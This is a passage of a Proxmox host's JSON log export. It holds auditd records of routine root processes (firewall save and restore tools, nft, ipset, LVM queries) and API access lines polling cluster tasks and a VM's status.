fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964574880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.880:61588): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965660687,"@rawstring":"node=pve type=EXECVE msg=audit(1781965660.687:66558): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966209714,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965345329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.329:65211): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964574607,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.607:61585): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5fe5c30 a1=64f8d73d5240 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=EXECVE msg=audit(1781965658.862:66557): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966207771,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965345322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.322:65210): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e67b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964574581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.581:61584): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c1e0 a1=64f8d19398a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=EXECVE msg=audit(1781965658.854:66554): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966207771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965345316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.316:65209): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964569874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964569.874:61583): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655371,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.371:66551): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966207771,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965345310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.310:65208): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964569866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964569.866:61580): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655365,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.365:66550): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966207771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965345304,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.304:65207): arch=c000003e syscall=59 success=yes exit=0 a0=57c75f638b20 a1=57c75f644e00 a2=57c75f612680 a3=5 items=2 ppid=62631 pid=62637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.834:61577): arch=c000003e syscall=59 success=yes exit=0 a0=62e680cb9d30 a1=62e680cc5af0 a2=62e680c93680 a3=5 items=2 ppid=59106 pid=59112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655364,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.364:66549): argc=1 a0=\"date\""} {"@timestamp":1781966207771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:46 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.300:65206): arch=c000003e syscall=59 success=yes exit=0 a0=57c71fb43ac8 a1=7ffe3561fc10 a2=57c75f612680 a3=57c71fb2724e items=2 ppid=62631 pid=62633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.831:61576): arch=c000003e syscall=59 success=yes exit=0 a0=62e67dabfac8 a1=7ffff4292b80 a2=62e680c93680 a3=62e67daa324e items=2 ppid=59106 pid=59108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655358,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.358:66547): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966206778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.300:65205): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe3561fbd0 a1=57c75f6341c0 a2=57c75f612680 a3=5 items=2 ppid=62631 pid=62632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.829:61575): arch=c000003e syscall=59 success=yes exit=0 a0=7ffff4292b40 a1=62e680cb53d0 a2=62e680c93680 a3=5 items=2 ppid=59106 pid=59107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655345,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.345:66546): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966205078,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965345296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.296:65203): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565826,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.826:61573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.335:66545): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966205078,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965345286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.286:65202): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.819:61572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655325,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.325:66544): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966203776,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965345280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.280:65201): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.814:61571): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed2e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655316,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.316:66543): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966203776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781965345274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.274:65200): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4f890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.807:61570): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655308,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.308:66541): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966203776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965345268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.268:65199): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f90d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565801,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.801:61569): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655299,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.299:66540): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966203776,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965345259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.259:65198): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c190 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.798:61568): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59fe51f34740 items=0 ppid=1156 pid=59101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965655288,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.288:66539): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966202744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965344284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965344.284:65197): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b2d80 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.796:61567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655281,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.281:66538): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966201671,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965344250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965344.250:65196): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6857290 a1=64f8d5325bb0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.792:61566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f11e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655273,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.273:66537): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966201671,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965342.671:65195): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956230 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565786,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.786:61565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb60d76e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655266,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.266:66536): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966201671,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965342.655:65192): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956170 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.782:61564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a2b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655257,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.257:66535): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966198937,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781965337648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965337.648:65189): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899560b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.776:61563): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d76e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655249,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.249:66534): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966198937,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965337642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965337.642:65186): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955ff0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.772:61562): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655244,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.244:66533): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966198937,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965335247,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.247:65183): arch=c000003e syscall=59 success=yes exit=0 a0=5be52d543d70 a1=5be52d54fc00 a2=5be52d51d680 a3=5 items=2 ppid=62611 pid=62617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.766:61561): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655240,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.240:66532): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966198937,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965335241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.241:65182): arch=c000003e syscall=59 success=yes exit=0 a0=5be4edf29ac8 a1=7ffce7663450 a2=5be52d51d680 a3=5be4edf0d24e items=2 ppid=62611 pid=62613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565759,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.759:61560): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655238,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.238:66531): argc=1 a0=\"date\""} {"@timestamp":1781966197812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.240:65181): arch=c000003e syscall=59 success=yes exit=0 a0=7ffce7663410 a1=5be52d53f410 a2=5be52d51d680 a3=5 items=2 ppid=62611 pid=62612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.755:61559): arch=c000003e syscall=59 success=yes exit=0 a0=5763b3c02d30 